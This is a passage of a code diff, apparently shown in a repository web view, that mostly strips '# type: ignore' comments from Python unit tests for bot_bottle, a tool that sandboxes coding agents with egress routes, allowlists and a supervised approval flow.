return bottle_plan_to_compose(_plan(**plan_kwargs))
def test_emits_two_services_minimal(self):
spec = self._render()
+4 -3
View File
@@ -14,6 +14,7 @@ from unittest.mock import MagicMock, patch
from bot_bottle.agent_provider import (
AgentProvisionCommand,
AgentProvisionDir,
AgentProvisionFile,
AgentProvisionPlan,
)
@@ -52,7 +53,7 @@ def _plan(
agent_provision: AgentProvisionPlan | None = None,
supervise: bool = False,
) -> DockerBottlePlan:
bottle_json: dict = {"agent_provider": {"template": "claude"}} # type: ignore
bottle_json: dict = {"agent_provider": {"template": "claude"}}
if supervise:
bottle_json["supervise"] = True
manifest = Manifest.from_json_obj({
@@ -165,7 +166,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
bottle = _make_bottle()
with patch(
"bot_bottle.backend.util.host_skill_dir",
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
side_effect=lambda n: f"/host/skills/{n}",
), patch(
"bot_bottle.contrib.claude.agent_provider.os.path.isdir",
return_value=True,
@@ -191,7 +192,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
bottle = _make_bottle()
with patch(
"bot_bottle.backend.util.host_skill_dir",
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
side_effect=lambda n: f"/host/skills/{n}",
), patch(
"bot_bottle.contrib.claude.agent_provider.os.path.isdir",
return_value=False,
+2 -2
View File
@@ -53,7 +53,7 @@ def _plan(
agent_provision: AgentProvisionPlan | None = None,
supervise: bool = False,
) -> DockerBottlePlan:
bottle_json: dict = {"agent_provider": {"template": "codex"}} # type: ignore
bottle_json: dict = {"agent_provider": {"template": "codex"}}
if supervise:
bottle_json["supervise"] = True
manifest = Manifest.from_json_obj({
@@ -153,7 +153,7 @@ class TestCodexProvisionSkills(unittest.TestCase):
bottle = _make_bottle()
with patch(
"bot_bottle.backend.util.host_skill_dir",
side_effect=lambda n: f"/host/skills/{n}", # type: ignore
side_effect=lambda n: f"/host/skills/{n}",
), patch(
"bot_bottle.contrib.codex.agent_provider.os.path.isdir",
return_value=True,
+5 -3
View File
@@ -6,7 +6,9 @@ import json
import unittest
import urllib.error
from io import BytesIO
from unittest.mock import MagicMock, patch
from pathlib import Path
from tempfile import mkdtemp
from unittest.mock import MagicMock, call, patch
from bot_bottle.contrib.gitea.deploy_key_provisioner import (
GiteaDeployKeyProvisioner,
@@ -20,11 +22,11 @@ def _provisioner() -> GiteaDeployKeyProvisioner:
)
def _urlopen_response(body: dict, status: int = 200) -> MagicMock: # type: ignore
def _urlopen_response(body: dict, status: int = 200) -> MagicMock:
resp = MagicMock()
resp.read.return_value = json.dumps(body).encode()
resp.status = status
resp.__enter__ = lambda s: s # type: ignore
resp.__enter__ = lambda s: s
resp.__exit__ = MagicMock(return_value=False)
return resp
@@ -3,6 +3,7 @@
from __future__ import annotations
import unittest
from unittest.mock import patch
from bot_bottle.deploy_key_provisioner import DeployKeyProvisioner, get_provisioner
from bot_bottle.manifest import ManifestError
+1 -1
View File
@@ -99,7 +99,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
self._teardown_fake_home()
def _stub(self, slugs: list[str], services_by_project: dict[str, set[str]]) -> None:
_enumerate.list_active_slugs = lambda **_: slugs # type: ignore
_enumerate.list_active_slugs = lambda **_: slugs
_enumerate._query_services_by_project = lambda: services_by_project
def test_no_active_slugs_returns_empty(self):
+3 -3
View File
@@ -11,7 +11,7 @@ from __future__ import annotations
import tempfile
import unittest
from pathlib import Path
from unittest.mock import MagicMock
from unittest.mock import MagicMock, call
from bot_bottle.agent_provider import AgentProvisionPlan
from bot_bottle.backend import Bottle, BottleSpec, ExecResult
@@ -24,11 +24,11 @@ from bot_bottle.pipelock import PipelockProxyPlan
from bot_bottle.workspace import workspace_plan
def _plan(*, git_user: dict | None = None, # type: ignore
def _plan(*, git_user: dict | None = None,
copy_cwd: bool = False,
user_cwd: str = "/tmp/x",
stage_dir: Path | None = None) -> DockerBottlePlan:
bottle_json: dict = {} # type: ignore
bottle_json: dict = {}
if git_user is not None:
bottle_json["git-gate"] = {"user": git_user}
manifest = Manifest.from_json_obj({
+3 -3
View File
@@ -17,13 +17,13 @@ from bot_bottle.backend.docker import util as docker_mod
from bot_bottle.workspace import WorkspacePlan
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr=stderr,
)
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr=stderr,
)
@@ -110,7 +110,7 @@ class TestBuildImageWithCwd(unittest.TestCase):
workdir="/guest/home/workspace",
)
def inspect_context(*args, **kwargs): # type: ignore
def inspect_context(*args, **kwargs):
context = Path(args[0][-1])
staged = context / "workspace"
self.assertTrue((staged / ".gitignore").is_file())
+3 -3
View File
@@ -17,7 +17,7 @@ from bot_bottle.manifest import Manifest
from bot_bottle.yaml_subset import parse_yaml_subset
def _bottle(routes): # type: ignore
def _bottle(routes):
return Manifest.from_json_obj({
"bottles": {"dev": {"egress": {"routes": routes}}},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
@@ -257,8 +257,8 @@ class TestRenderRoutes(unittest.TestCase):
will see, not the textual layout."""
@staticmethod
def _parsed(routes) -> list[dict]: # type: ignore
return parse_yaml_subset(egress_render_routes(routes))["routes"] # type: ignore
def _parsed(routes) -> list[dict]:
return parse_yaml_subset(egress_render_routes(routes))["routes"]
def test_authenticated_route_serialised_with_auth_fields(self):
b = _bottle([{
+3 -3
View File
@@ -159,7 +159,7 @@ class TestMatchRoute(unittest.TestCase):
def test_exact_match(self):
r = match_route(self.ROUTES, "api.github.com")
self.assertIsNotNone(r)
self.assertEqual("api.github.com", r.host) # type: ignore
self.assertEqual("api.github.com", r.host)
def test_case_insensitive(self):
# DNS hostnames are case-insensitive per RFC 1035; mitmproxy
@@ -167,7 +167,7 @@ class TestMatchRoute(unittest.TestCase):
# uppercase. Lookup must normalise.
r = match_route(self.ROUTES, "API.GitHub.COM")
self.assertIsNotNone(r)
self.assertEqual("api.github.com", r.host) # type: ignore
self.assertEqual("api.github.com", r.host)
def test_no_match_returns_none(self):
self.assertIsNone(match_route(self.ROUTES, "elsewhere.example"))
@@ -370,7 +370,7 @@ class TestGitPushBlockFailFast(unittest.TestCase):
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, _fmt, *_args): # type: ignore
def log_message(self, _fmt, *_args):
pass
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
+2 -2
View File
@@ -21,10 +21,10 @@ _ROUTES_EMPTY = "routes: []\n"
_ROUTES_ONE = 'routes:\n - host: "api.anthropic.com"\n'
def _routes(parsed: str) -> list[dict]: # type: ignore
def _routes(parsed: str) -> list[dict]:
"""Parse a YAML routes string and pull out the routes list, so
tests can assert on shape directly."""
return parse_yaml_subset(parsed)["routes"] # type: ignore
return parse_yaml_subset(parsed)["routes"]
class TestValidateRoutesContent(unittest.TestCase):
+3 -3
View File
@@ -189,7 +189,7 @@ class TestGitHttpBackend(unittest.TestCase):
try:
urllib.request.urlopen(req, timeout=5)
self.fail("expected HTTPError 403")
except urllib.error.HTTPError as e: # type: ignore
except urllib.error.HTTPError as e:
self.assertEqual(403, e.code)
self.assertIn(b"upstream fetch failed", e.read())
@@ -234,7 +234,7 @@ class TestGitHttpBackend(unittest.TestCase):
try:
urllib.request.urlopen(req, timeout=5)
self.fail("expected HTTPError 403")
except urllib.error.HTTPError as e: # type: ignore
except urllib.error.HTTPError as e:
self.assertEqual(403, e.code)
logged = buf.getvalue()
@@ -291,7 +291,7 @@ class TestContentLengthBounds(unittest.TestCase):
try:
with urllib.request.urlopen(req, timeout=3) as resp:
return resp.status
except urllib.error.HTTPError as e: # type: ignore
except urllib.error.HTTPError as e:
return e.code
def test_non_numeric_content_length_returns_400(self):
+4 -4
View File
@@ -22,7 +22,7 @@ from pathlib import Path
from bot_bottle.manifest import ManifestError, Manifest
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
def _error_message(callable_, *args, **kwargs) -> str:
"""Run `callable_` expecting a ManifestError; return its message."""
try:
callable_(*args, **kwargs)
@@ -31,11 +31,11 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
raise AssertionError("expected ManifestError was not raised")
def _manifest(*, bottle_user=None, agent_git=None) -> Manifest: # type: ignore
bottle: dict = {} # type: ignore
def _manifest(*, bottle_user=None, agent_git=None) -> Manifest:
bottle: dict = {}
if bottle_user is not None:
bottle = {"git-gate": {"user": bottle_user}}
agent: dict = {"skills": [], "prompt": "", "bottle": "dev"} # type: ignore
agent: dict = {"skills": [], "prompt": "", "bottle": "dev"}
if agent_git is not None:
agent["git-gate"] = agent_git
return Manifest.from_json_obj({
+4 -4
View File
@@ -7,17 +7,17 @@ auth omission means unauthenticated."""
import unittest
from bot_bottle.manifest import ManifestError, Manifest
from bot_bottle.manifest import ManifestError, EgressRoute, Manifest
def _bottle(routes): # type: ignore
def _bottle(routes):
return Manifest.from_json_obj({
"bottles": {"dev": {"egress": {"routes": routes}}},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
}).bottles["dev"]
def _provider_bottle(provider, routes): # type: ignore
def _provider_bottle(provider, routes):
return Manifest.from_json_obj({
"bottles": {
"dev": {
@@ -29,7 +29,7 @@ def _provider_bottle(provider, routes): # type: ignore
}).bottles["dev"]
def _provider_config_bottle(agent_provider): # type: ignore
def _provider_config_bottle(agent_provider):
return Manifest.from_json_obj({
"bottles": {"dev": {"agent_provider": agent_provider}},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
+2 -2
View File
@@ -15,7 +15,7 @@ import unittest
from bot_bottle.manifest import ManifestError, Manifest
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
def _error_message(callable_, *args, **kwargs) -> str:
"""Run `callable_` expecting a ManifestError; return its message."""
try:
callable_(*args, **kwargs)
@@ -24,7 +24,7 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
raise AssertionError("expected ManifestError was not raised")
def _build(**bottles) -> Manifest: # type: ignore
def _build(**bottles) -> Manifest:
"""Build a manifest with the given bottles and one trivial agent
referencing the first bottle (so the manifest is valid)."""
first = next(iter(bottles))
+1 -1
View File
@@ -5,7 +5,7 @@ import unittest
from bot_bottle.manifest import ManifestError, Manifest
def _manifest(repos: dict) -> dict: # type: ignore
def _manifest(repos: dict) -> dict:
return {
"bottles": {"dev": {"git-gate": {"repos": repos}}},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
+2 -2
View File
@@ -5,7 +5,7 @@ import unittest
from bot_bottle.manifest import ManifestError, GitUser, Manifest
def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
def _error_message(callable_, *args, **kwargs) -> str:
"""Run `callable_` expecting a ManifestError; return its message."""
try:
callable_(*args, **kwargs)
@@ -14,7 +14,7 @@ def _error_message(callable_, *args, **kwargs) -> str: # type: ignore
raise AssertionError("expected ManifestError was not raised")
def _manifest(git_user): # type: ignore
def _manifest(git_user):
return {
"bottles": {"dev": {"git-gate": {"user": git_user}}},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
+2 -2
View File
@@ -15,14 +15,14 @@ from bot_bottle.pipelock import (
)
def _bottle(spec): # type: ignore
def _bottle(spec):
return Manifest.from_json_obj({
"bottles": {"dev": spec},
"agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
}).bottles["dev"]
def _routes(routes): # type: ignore
def _routes(routes):
return {"egress": {"routes": routes}}
+2 -2
View File
@@ -74,7 +74,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
"dlp": {"include_defaults": True, "scan_env": True},
"request_body_scanning": {"action": "block"},
}
rendered = pipelock_render_yaml(cfg) # type: ignore
rendered = pipelock_render_yaml(cfg)
parsed = parse_yaml_subset(rendered)
self.assertEqual(["a.example", "b.example"], parsed["api_allowlist"])
self.assertEqual(1, parsed["version"])
@@ -97,7 +97,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
"passthrough_domains": ["api.anthropic.com"],
},
}
parsed = parse_yaml_subset(pipelock_render_yaml(cfg)) # type: ignore
parsed = parse_yaml_subset(pipelock_render_yaml(cfg))
parsed["api_allowlist"] = ["new.example"]
rerendered = pipelock_render_yaml(parsed)
roundtripped = parse_yaml_subset(rerendered)
+1 -1
View File
@@ -10,7 +10,7 @@ import os
import tempfile
import unittest
from pathlib import Path
from typing import cast
from typing import Any, cast
from bot_bottle.manifest import Manifest
from bot_bottle.pipelock import (
+1 -5
View File
@@ -220,11 +220,7 @@ class TestEgressPrintParity(unittest.TestCase):
indent_prefix = ln[:idx]
result.append(ln)
elif collecting:
if (
ln.startswith(indent_prefix) # type: ignore
and "egress" not in ln
and ":" not in ln.lstrip()[:20]
):
if ln.startswith(indent_prefix) and "egress" not in ln and ":" not in ln.lstrip()[:20]:
result.append(ln)
else:
break
+5 -7
View File
@@ -18,7 +18,7 @@ from bot_bottle.backend.smolmachines.bottle_cleanup_plan import (
)
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr=stderr,
)
@@ -35,7 +35,7 @@ class TestPrepareCleanup(unittest.TestCase):
self.assertTrue(plan.empty)
def test_lists_machines_bundles_networks(self):
def fake_run(argv, *a, **kw): # type: ignore
def fake_run(argv, *a, **kw):
if argv[:3] == ["smolvm", "machine", "ls"]:
return _ok(stdout=(
'[{"name":"bot-bottle-a-1","state":"running"},'
@@ -92,7 +92,7 @@ class TestCleanup(unittest.TestCase):
)
calls: list[list[str]] = []
def fake_run(argv, *a, **kw): # type: ignore
def fake_run(argv, *a, **kw):
calls.append(list(argv[:4]))
return _ok()
@@ -124,13 +124,11 @@ class TestCleanup(unittest.TestCase):
)
results = iter([
_ok(), # stop succeeds
subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr="boom"
), # delete fails
subprocess.CompletedProcess(args=[], returncode=1, stdout="", stderr="boom"), # delete fails
_ok(), # bundle rm succeeds
])
def fake_run(argv, *a, **kw): # type: ignore
def fake_run(argv, *a, **kw):
return next(results)
with patch.object(cleanup.subprocess, "run", side_effect=fake_run), \
+4 -4
View File
@@ -76,19 +76,19 @@ class TestEnsureSmolmachine(unittest.TestCase):
)
class _Reg:
def __enter__(self_inner): # type: ignore
def __enter__(self_inner):
return RegistryHandle(
network="cb-net-xyz",
push_endpoint="cb-registry-xyz:5000",
pull_endpoint="localhost:54321",
)
def __exit__(self_inner, *exc): # type: ignore
def __exit__(self_inner, *exc):
return False
calls: list[str] = []
def record(name): # type: ignore
def _f(*a, **kw): # type: ignore
def record(name):
def _f(*a, **kw):
calls.append(name)
return _f
@@ -15,13 +15,13 @@ from unittest.mock import patch
from bot_bottle.backend.smolmachines import local_registry
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr=stderr,
)
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr=stderr,
)
@@ -149,7 +149,7 @@ class TestEphemeralRegistry(unittest.TestCase):
def test_unique_session_ids_per_call(self):
sessions: list[tuple[str, str]] = []
def capture(argv, *a, **kw): # type: ignore
def capture(argv, *a, **kw):
if argv[:3] == ["docker", "network", "create"]:
return _ok()
if argv[:2] == ["docker", "run"]:
@@ -242,7 +242,7 @@ class _FakeSocket:
def __enter__(self):
return self
def __exit__(self, *exc): # type: ignore
def __exit__(self, *exc):
return False
@@ -11,6 +11,7 @@ import json
import sqlite3
import subprocess
import tempfile
import threading
import unittest
from pathlib import Path
from unittest.mock import patch
@@ -18,13 +19,13 @@ from unittest.mock import patch
from bot_bottle.backend.smolmachines import loopback_alias
def _ok(stdout: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr="",
)
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr=stderr,
)
@@ -78,7 +79,7 @@ class TestEnsurePool(unittest.TestCase):
# lo0 only has 16+17 already; sudo runs for 18..31 (14 missing).
runs: list[list[str]] = []
def fake_run(argv, *a, **kw): # type: ignore
def fake_run(argv, *a, **kw):
runs.append(argv)
if argv[:2] == ["/sbin/ifconfig", "lo0"]:
return _ok(stdout=_LO0_PARTIAL)
@@ -97,7 +98,7 @@ class TestEnsurePool(unittest.TestCase):
)
def test_sudo_failure_dies(self):
def fake_run(argv, *a, **kw): # type: ignore
def fake_run(argv, *a, **kw):
if argv[:2] == ["/sbin/ifconfig", "lo0"]:
return _ok(stdout=_LO0_DEFAULT)
if argv[:1] == ["sudo"]:
@@ -152,7 +153,7 @@ class TestAllocateLock(unittest.TestCase):
import fcntl as fcntl_mod
flock_calls: list[int] = []
def record_flock(fd, op): # type: ignore
def record_flock(fd, op):
flock_calls.append(op)
with tempfile.TemporaryDirectory() as tmp:
+4 -6
View File
@@ -46,7 +46,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
orig_root = _sup.bot_bottle_root
_sup.bot_bottle_root = lambda: Path(tmp) / ".bot-bottle" # type: ignore[assignment]
host_env = {**os.environ, **(extra_host_env or {})} # type: ignore
host_env = {**os.environ, **(extra_host_env or {})}
try:
with (
@@ -59,15 +59,13 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
patch("bot_bottle.backend.smolmachines.prepare.PipelockProxy") as mock_pl,
patch("bot_bottle.backend.smolmachines.prepare.Egress") as mock_eg,
patch("bot_bottle.backend.smolmachines.prepare.Supervise"),
patch(
"bot_bottle.backend.smolmachines.prepare.agent_provision_plan"
) as mock_app,
patch("bot_bottle.backend.smolmachines.prepare.agent_provision_plan") as mock_app,
patch("bot_bottle.backend.smolmachines.prepare.runtime_for"),
):
mock_gg.return_value.prepare.return_value = MagicMock()
mock_pl.return_value.prepare.return_value = MagicMock()
mock_eg.return_value.prepare.return_value = MagicMock()
def _make_provision(**kwargs): # type: ignore
def _make_provision(**kwargs):
return AgentProvisionPlan(
template="claude",
command="claude",
@@ -76,7 +74,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
image="bot-bottle-claude:latest",
guest_env=dict(kwargs.get("guest_env") or {}),
)
mock_app.side_effect = lambda **kw: _make_provision(**kw) # type: ignore
mock_app.side_effect = lambda **kw: _make_provision(**kw)
from bot_bottle.backend.smolmachines.prepare import resolve_plan
plan = resolve_plan(spec, stage_dir=stage)
+5 -5
View File
@@ -55,7 +55,7 @@ def _exec_scripts(bottle: MagicMock) -> list[str]:
return [c.args[0] for c in bottle.exec.call_args_list]
def _exec_users(bottle: MagicMock) -> list[str]: # type: ignore
def _exec_users(bottle: MagicMock) -> list[str]:
"""user= kwarg from each bottle.exec call, in order."""
return [c.kwargs.get("user", "node") for c in bottle.exec.call_args_list]
@@ -64,8 +64,8 @@ def _plan(
*,
agent_prompt: str = "",
skills: list[str] | None = None,
git: list[GitEntry] = (), # type: ignore
git_user: dict | None = None, # type: ignore
git: list[GitEntry] = (),
git_user: dict | None = None,
copy_cwd: bool = False,
user_cwd: str = "/tmp/x",
stage_dir: Path | None = None,
@@ -80,8 +80,8 @@ def _plan(
agent_provider_template: str = "claude",
guest_env: dict[str, str] | None = None,
) -> SmolmachinesBottlePlan:
bottle_json: dict = {} # type: ignore
git_gate_json: dict = {} # type: ignore
bottle_json: dict = {}
git_gate_json: dict = {}
if git:
git_gate_json["repos"] = {
g.Name: {
+3 -3
View File
@@ -85,7 +85,7 @@ class TestReadWinsize(unittest.TestCase):
calls: list[int] = []
def fake_ioctl(fd, req, buf): # type: ignore
def fake_ioctl(fd, req, buf):
calls.append(fd)
if fd == 0:
raise OSError("stdin not a tty")
@@ -105,7 +105,7 @@ class TestReadWinsize(unittest.TestCase):
struct.pack("hhhh", 24, 80, 0, 0), # stdout: real
])
def fake_ioctl(fd, req, buf): # type: ignore
def fake_ioctl(fd, req, buf):
return next(responses)
with patch.object(pty_resize.fcntl, "ioctl", side_effect=fake_ioctl):
@@ -153,7 +153,7 @@ class TestStartupSyncDeferred(unittest.TestCase):
self.assertEqual(0, rc)
# Timer scheduled with the documented delay constant.
timer_cls.assert_called_once()
delay, callback = timer_cls.call_args.args # type: ignore
delay, callback = timer_cls.call_args.args
self.assertEqual(pty_resize._STARTUP_SYNC_DELAY_SEC, delay)
# _push_size never called synchronously — the only path to
# it is via the (mocked) timer's callback firing.
@@ -24,19 +24,19 @@ from bot_bottle.backend.smolmachines.sidecar_bundle import (
)
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr=stderr,
)
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr=stderr,
)
def _spec(**kwargs) -> BundleLaunchSpec: # type: ignore
def _spec(**kwargs) -> BundleLaunchSpec:
defaults = dict(
slug="demo-abc12",
network_name="bot-bottle-bundle-demo-abc12",
@@ -45,7 +45,7 @@ def _spec(**kwargs) -> BundleLaunchSpec: # type: ignore
bundle_ip="192.168.50.2",
)
defaults.update(kwargs)
return BundleLaunchSpec(**defaults) # type: ignore
return BundleLaunchSpec(**defaults)
class TestNamingHelpers(unittest.TestCase):
@@ -69,7 +69,7 @@ class TestNamingHelpers(unittest.TestCase):
class TestNetworkLifecycle(unittest.TestCase):
def _patch_run(self, **kwargs): # type: ignore
def _patch_run(self, **kwargs):
return patch(
"bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
**kwargs,
@@ -200,7 +200,7 @@ class TestEnsureBundleImage(unittest.TestCase):
class TestStopBundle(unittest.TestCase):
def _patch_run(self, **kwargs): # type: ignore
def _patch_run(self, **kwargs):
return patch(
"bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
**kwargs,
+2 -2
View File
@@ -28,13 +28,13 @@ from bot_bottle.backend.smolmachines.smolvm import (
)
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=0, stdout=stdout, stderr=stderr,
)
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
return subprocess.CompletedProcess(
args=[], returncode=1, stdout="", stderr=stderr,
)
+3 -7
View File
@@ -37,11 +37,7 @@ from bot_bottle.supervise import (
FIXED_TS = datetime(2026, 5, 25, 12, 0, 0, tzinfo=timezone.utc)
def _proposal(
tool: str = TOOL_EGRESS_BLOCK,
proposed: str = "{}",
justification: str = "need a route",
) -> Proposal:
def _proposal(tool: str = TOOL_EGRESS_BLOCK, proposed: str = "{}", justification: str = "need a route") -> Proposal:
return Proposal.new(
bottle_slug="dev",
tool=tool,
@@ -336,10 +332,10 @@ class TestToolConstants(unittest.TestCase):
class _StubSupervise(supervise.Supervise):
"""Concrete Supervise subclass for testing the prepare template."""
def start(self, plan): # type: ignore
def start(self, plan):
return f"stub-{plan.slug}"
def stop(self, target): # type: ignore
def stop(self, target):
return None
+20 -20
View File
@@ -133,14 +133,14 @@ class TestApproveReject(_FakeHomeMixin, unittest.TestCase):
self._original_apply_capability = supervise_cli.apply_capability_change
# Default stubs: succeed with deterministic before/after so the
# audit log shows a non-empty diff.
supervise_cli.add_route = lambda slug, content: ( # type: ignore
supervise_cli.add_route = lambda slug, content: (
'{"routes": []}\n', '{"routes": [{"host": "x"}]}\n',
)
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
supervise_cli.apply_allowlist_change = lambda slug, content: (
"old.example\n", content,
)
supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n" # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: ( # type: ignore
supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n"
supervise_cli.apply_capability_change = lambda slug, content: (
"FROM old\n", content,
)
@@ -231,7 +231,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
def test_egress_block_calls_add_route_with_proposed_json(self):
calls = []
supervise_cli.add_route = lambda slug, content: ( # type: ignore
supervise_cli.add_route = lambda slug, content: (
calls.append((slug, content)) or ("before", "after")
)
qp = self._enqueue_egress(
@@ -250,7 +250,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
def test_modify_passes_final_file_to_add_route(self):
calls = []
supervise_cli.add_route = lambda slug, content: ( # type: ignore
supervise_cli.add_route = lambda slug, content: (
calls.append(content) or ("before", "after")
)
qp = self._enqueue_egress()
@@ -262,7 +262,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual(['{"host": "edited.example"}\n'], calls)
def test_apply_failure_blocks_response_and_audit(self):
supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw( # type: ignore
supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw(
EgressApplyError("docker exec failed")
)
qp = self._enqueue_egress()
@@ -277,7 +277,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual([], read_audit_entries("egress", "dev"))
def test_real_diff_lands_in_audit(self):
supervise_cli.add_route = lambda slug, content: ( # type: ignore
supervise_cli.add_route = lambda slug, content: (
'{"routes": []}\n', # before
'{"routes": [{"host": "new.example"}]}\n', # after
)
@@ -329,9 +329,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
return supervise_cli.QueuedProposal(proposal=p, queue_dir=qdir)
def test_url_host_merged_into_current_allowlist(self):
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n" # type: ignore
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
applied = []
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
supervise_cli.apply_allowlist_change = lambda slug, content: (
applied.append((slug, content))
or ("existing.example\n", content)
)
@@ -348,9 +348,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertNotIn("/repos/foo/bar", content) # path stripped
def test_host_already_in_allowlist_is_idempotent(self):
supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n" # type: ignore
supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n"
applied = []
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
supervise_cli.apply_allowlist_change = lambda slug, content: (
applied.append(content)
or ("api.github.com\n", content)
)
@@ -362,8 +362,8 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual("api.github.com\n", applied[0])
def test_apply_failure_blocks_response_and_audit(self):
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n" # type: ignore
supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw( # type: ignore
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw(
PipelockApplyError("docker exec failed")
)
qp = self._enqueue_pipelock()
@@ -376,7 +376,7 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual([], read_audit_entries("pipelock", "dev"))
def test_url_without_host_raises(self):
supervise_cli.fetch_current_allowlist = lambda slug: "" # type: ignore
supervise_cli.fetch_current_allowlist = lambda slug: ""
# supervise_server's validator would catch this; if a broken
# URL ever makes it through, the supervise TUI surfaces it too.
qp = self._enqueue_pipelock("https:///nohost")
@@ -413,7 +413,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
def test_capability_block_calls_apply_with_proposed_file(self):
calls = []
supervise_cli.apply_capability_change = lambda slug, content: ( # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: (
calls.append((slug, content)) or ("FROM old\n", content)
)
qp = self._enqueue_capability("FROM bookworm\n")
@@ -421,7 +421,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual([("dev", "FROM bookworm\n")], calls)
def test_apply_failure_blocks_response_and_keeps_pending(self):
supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw( # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw(
CapabilityApplyError("teardown failed")
)
qp = self._enqueue_capability()
@@ -433,7 +433,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
)
def test_no_audit_log_for_capability(self):
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content) # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
qp = self._enqueue_capability()
supervise_cli.approve(qp)
# capability-block has no audit log per PRD 0013 — its record
@@ -442,7 +442,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
self.assertEqual([], read_audit_entries("pipelock", "dev"))
def test_proposal_archived_after_apply(self):
